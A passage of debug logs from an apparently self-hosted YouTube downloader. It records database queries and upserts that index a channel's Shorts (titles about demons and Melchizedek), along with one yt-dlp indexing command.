s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:37.891 [debug] QUERY OK source="sources" db=0.3ms idle=1204.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:37.892 [debug] QUERY OK source="media_items" db=0.2ms idle=1204.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 18:21:37.893 [debug] QUERY OK source="media_items" db=0.5ms idle=1032.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "1a82726c-93fd-4360-9891-04b4f7eee9f6", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 01:21:37Z], ~U[2026-08-20 01:21:37Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 18:21:37.893 [debug] QUERY OK source="sources" db=0.2ms idle=31.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:37.893 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:37.894 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 18:21:37.894 [debug] Current batch of media processed. Will check again in 1000ms 18:21:38.895 [debug] Current batch of media processed. Will check again in 1000ms 18:21:39.896 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", "id" => "OUprsxG35FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OUprsxG35FQ", "playlist_index" => 9, "timestamp" => 1749147966, "title" => "Demons. Pt.2", "upload_date" => "20250605"} 18:21:39.897 [debug] QUERY OK source="sources" db=0.3ms idle=209.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:39.897 [debug] QUERY OK source="sources" db=0.2ms idle=210.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:39.898 [debug] QUERY OK source="media_items" db=0.1ms idle=210.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 18:21:39.898 [debug] QUERY OK source="media_items" db=0.5ms idle=210.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "0ad9133b-98bd-4795-af30-179d486ffb7c", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 01:21:39Z], ~U[2026-08-20 01:21:39Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 18:21:39.899 [debug] QUERY OK source="sources" db=0.2ms idle=34.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:39.899 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:39.900 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 18:21:39.900 [debug] Current batch of media processed. Will check again in 1000ms 18:21:40.901 [debug] Current batch of media processed. Will check again in 1000ms 18:21:41.902 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", "id" => "rv8UxAckc6M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rv8UxAckc6M", "playlist_index" => 10, "timestamp" => 1749147454, "title" => "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "upload_date" => "20250605"} 18:21:41.902 [debug] QUERY OK source="sources" db=0.2ms idle=215.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:41.903 [debug] QUERY OK source="sources" db=0.2ms idle=215.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:41.903 [debug] QUERY OK source="media_items" db=0.1ms idle=216.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 18:21:41.904 [debug] QUERY OK source="media_items" db=0.6ms idle=216.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "b1ec21e4-61dd-4cbd-a3e1-8973dced9c5a", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 01:21:41Z], ~U[2026-08-20 01:21:41Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 18:21:41.905 [debug] QUERY OK source="sources" db=0.2ms idle=37.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:41.905 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:41.906 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 18:21:41.906 [debug] Current batch of media processed. Will check again in 1000ms 18:21:42.005 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/57/3c/573cf37971a90ae5386df35fa45a02693c2bfeb9789267cc09c1ed4af7f7900e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8f/dd/8fdda715b0592bf5e3922996f8bba7f7ee623991147f9e88963f019c1fa46459.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:21:42.005 [debug] Gracefully stopping file follower 18:21:42.006 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=101.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:42.006 [debug] QUERY OK source="sources" db=0.1ms idle=101.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.007 [debug] QUERY OK source="media_items" db=0.1ms idle=101.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 18:21:42.008 [debug] QUERY OK source="media_items" db=0.5ms idle=101.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "acebd638-b97e-43f6-ac5e-3afe1057533c", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 18:21:42.008 [debug] QUERY OK source="sources" db=0.2ms idle=102.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.008 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 18:21:42.009 [debug] QUERY OK source="media_items" db=0.6ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "ac9e8ac8-a122-48c6-8707-26487acd5c02", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 18:21:42.010 [debug] QUERY OK source="sources" db=0.2ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.010 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 18:21:42.011 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "1c4d7561-950a-4911-98a5-aaf96d53aa69", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 18:21:42.012 [debug] QUERY OK source="sources" db=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.012 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 18:21:42.013 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "ea00a2a6-4aa9-424d-94b6-fa9802a5e8e4", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 18:21:42.013 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.014 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT 